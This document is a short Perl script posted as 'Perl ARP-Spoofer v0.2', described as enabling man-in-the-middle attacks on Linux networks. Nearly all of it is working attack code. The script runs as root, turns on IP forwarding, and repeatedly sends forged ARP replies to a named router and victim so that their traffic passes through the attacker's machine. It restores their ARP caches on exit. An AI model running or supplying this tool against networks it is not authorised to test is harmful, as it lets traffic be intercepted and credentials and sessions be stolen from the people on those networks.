Perl ARP-Spoofer is a short perl script that enables simple man-in-the-middle attacks in a Linux environment.
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#!/usr/bin/perl
# Author: localh0t
# Date: 04/01/2011
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# Net::ARP & Net::Ping required
use Net::ARP;
use Net::Ping;
# Root required
if ($< != 0)
{
print "\n[!] Run it as root\n\n";
exit(0);
}
# Help
if(!$ARGV[2])
{
print "\n#####################################";
print "\n# Perl ARP-Spoofer v0.2 by localh0t #";
print "\n#####################################";
print "\n\nUse: perl $0 [INTERFACE] [HOST 1 (Router)] [HOST 2 (Victim)]\n\n";
exit(0);
}
# End function
sub finaliza
{
print "\n\n[!] Restoring remote hosts ARP cache\n";
# 2 packets per host to ensure the restoration
print "\n[+] $host1 is-at $mac1 (to $host2)";
Net::ARP::send_packet($dev, $host1, $host2, $mac1, $mac2, 'reply');
Net::ARP::send_packet($dev, $host1, $host2, $mac1, $mac2, 'reply');
print "\n[+] $host2 is-at $mac2 (to $host1)";
Net::ARP::send_packet($dev, $host2, $host1, $mac2, $mac1, 'reply');
Net::ARP::send_packet($dev, $host2, $host1, $mac2, $mac1, 'reply');
print "\n\n[!] Disabling forwarding...";
open(FORWD,">"."/proc/sys/net/ipv4/ip_forward") || die "\n[-] Error opening ip_forward";
print FORWD "0";
close(FORWD);
system("iptables -P FORWARD DROP");
print "\n[!] Exiting...\n\n";
exit(0);
}
($dev, $host1, $host2) = @ARGV;
# Main
print "\n[+] Perl ARP-Spoofer v0.2 starting [+]\n";
$lmac = Net::ARP::get_mac($dev);
print "\n[!] Local MAC : $lmac";
my $ping = Net::Ping->new('icmp');
$ping->ping($host1, 2);
$ping->ping($host2, 2);
$mac1 = Net::ARP::arp_lookup($dev,$host1);
$mac2 = Net::ARP::arp_lookup($dev,$host2);
print "\n[!] MAC Host 1: $mac1";
print "\n[!] MAC Host 2: $mac2";
print "\n\n[!] Enabling forwarding...";
open(FORWD,">"."/proc/sys/net/ipv4/ip_forward") || die "\n[-] Error opening ip_forward";
print FORWD "1";
close(FORWD);
system("iptables -P FORWARD ACCEPT");
print "\n\n[!] Starting ARP-Spoofing between $host1 & $host2, Ctrl-C to end...\n";
# (While not Crtl-C)
while(1)
{
$SIG{INT} = \&finaliza;
sleep(1);
print "\n[+] $host1 is-at $lmac (to $host2)";
Net::ARP::send_packet($dev, $host1, $host2, $lmac, $mac2, 'reply');
print "\n[+] $host2 is-at $lmac (to $host1)";
Net::ARP::send_packet($dev, $host2, $host1, $lmac, $mac1, 'reply');
}
__END__